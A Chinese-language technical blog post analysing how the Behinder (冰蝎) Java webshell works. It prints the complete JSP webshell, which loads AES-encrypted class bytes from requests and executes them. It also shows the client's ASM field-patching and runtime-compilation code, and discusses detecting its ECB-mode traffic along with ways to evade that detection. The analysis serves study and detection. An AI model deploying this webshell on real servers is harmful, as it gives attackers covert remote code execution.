通过冰蝎的Java实现来详细学习一下冰蝎具体是如何实现的,里面涉及到不少Java的知识点,同时也了解一下如何检测冰蝎的流量

服务器端

利用类加载机制来做动态编译执行,有关的知识可以看之前的Java eval的实现

来看看冰蝎的webshell

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getParameter("pass") != null) {
        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
        session.putValue("u", k);
        out.print(k);
        return;
    }
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>

个人感觉几个关键点:

客户端

客户端有一个问题,我们想要执行某一条命令的话,如何传递参数是一个问题,之前我做的那个eval的思路是采用利用命令来编译到一个临时文件里面,这样有一个问题,每次都需要写文件读文件,无疑效率是很低的。

public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
{
    byte[] result;
    ClassReader classReader = new ClassReader(clsName);
    final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);

    classReader.accept(new ClassAdapter(cw) {

        @Override
        public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
            // TODO Auto-generated method stub
            if (params.containsKey(filedName))
            {
                String paramValue=params.get(filedName);
                return super.visitField(arg0, filedName, arg2, arg3, paramValue);
            }

            return super.visitField(arg0, filedName, arg2, arg3, arg4);
        }},0);
    result=cw.toByteArray();
    return result;
}

这里传入我们的类名和参数可以获得byte类型的class。原理就是利用ASM框架来操作class,先读入class,class是预先写好的,例如我们要执行cmd命令,我们先读入cmd.class,cmd这个类中预留了一个static String cmd 字段,然后利用ASM修改掉(这里是利用重写visitField方法实现的)这个filed的值,然后利用ClassWriter获得修改完后的类的ByteArray就可以了。

再来看看他的eval,这里的eval其实并不是类似js或者python那样的,冰蝎的作者没有进行进一步的封装,用户需要自定义一个完整的类来实现。当我们写完自定义的类时,冰蝎是如何获得我们的class的字节码的?

这里主要利用的是javax.tools内的一些与Class有关的类。

  public static byte[] getClassFromSourceCode(String sourceCode) throws Exception {
    String cls;
    byte[] classBytes = null;
    JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
    if (compiler == null)
      throw new Exception(); 
    DiagnosticCollector<JavaFileObject> collector = new DiagnosticCollector<JavaFileObject>();
    StandardJavaFileManager standardJavaFileManager = compiler.getStandardFileManager(collector, null, null);
    JavaFileManager javaFileManager = standardJavaFileManager;
    
    List<String> options = new ArrayList<String>();
    Pattern CLASS_PATTERN = Pattern.compile("class\\s+([$_a-zA-Z][$_a-zA-Z0-9]*)\\s*");
    Matcher matcher = CLASS_PATTERN.matcher(sourceCode);
    
    if (matcher.find()) {
      cls = matcher.group(1);
    } else {
      throw new IllegalArgumentException("No such class name in " + sourceCode);
    } 
    Utils.MyJavaFileObject myJavaFileObject = new Utils.MyJavaFileObject(cls, sourceCode);
    
    Boolean result = compiler
      .getTask(null, javaFileManager, collector, options, null, Arrays.asList(new JavaFileObject[] { myJavaFileObject })).call();
    
    byte[] temp = new byte[0];
    JavaFileObject fileObject = (JavaFileObject)fileObjects.get(cls);
    if (fileObject != null) {
      classBytes = ((Utils.MyJavaFileObject)fileObject).getCompiledBytes();
    }
    return classBytes;
  }

利用正则表达式去匹配出class的名字,然后利用compiler.getTask()完成编译

如何检测

在网络层的检测前面说到,冰蝎(2.0)又是采用的是ECB模式,在不更换密钥的情况下,会有部分相同的流量,通过这一点可以进行检测。

我们抓一下流量来证实一下

可以看到由于采用了ECB模式,而在执行同一功能的时候由于冰蝎传递参数的实现是利用了更换filed来实现的,所以这里class内大量的内容是相同的,在分组之后也难免有大量相同的组,我们可以基于此来进行检测,比如将相邻的几次流量缓存起来,然后进行匹配对比。当然这只是一个想法,而且也比较容易绕过,一个是通过混淆,更改一下变量名便可以避免存在大量相同的组,然后修改ECB模式也可以。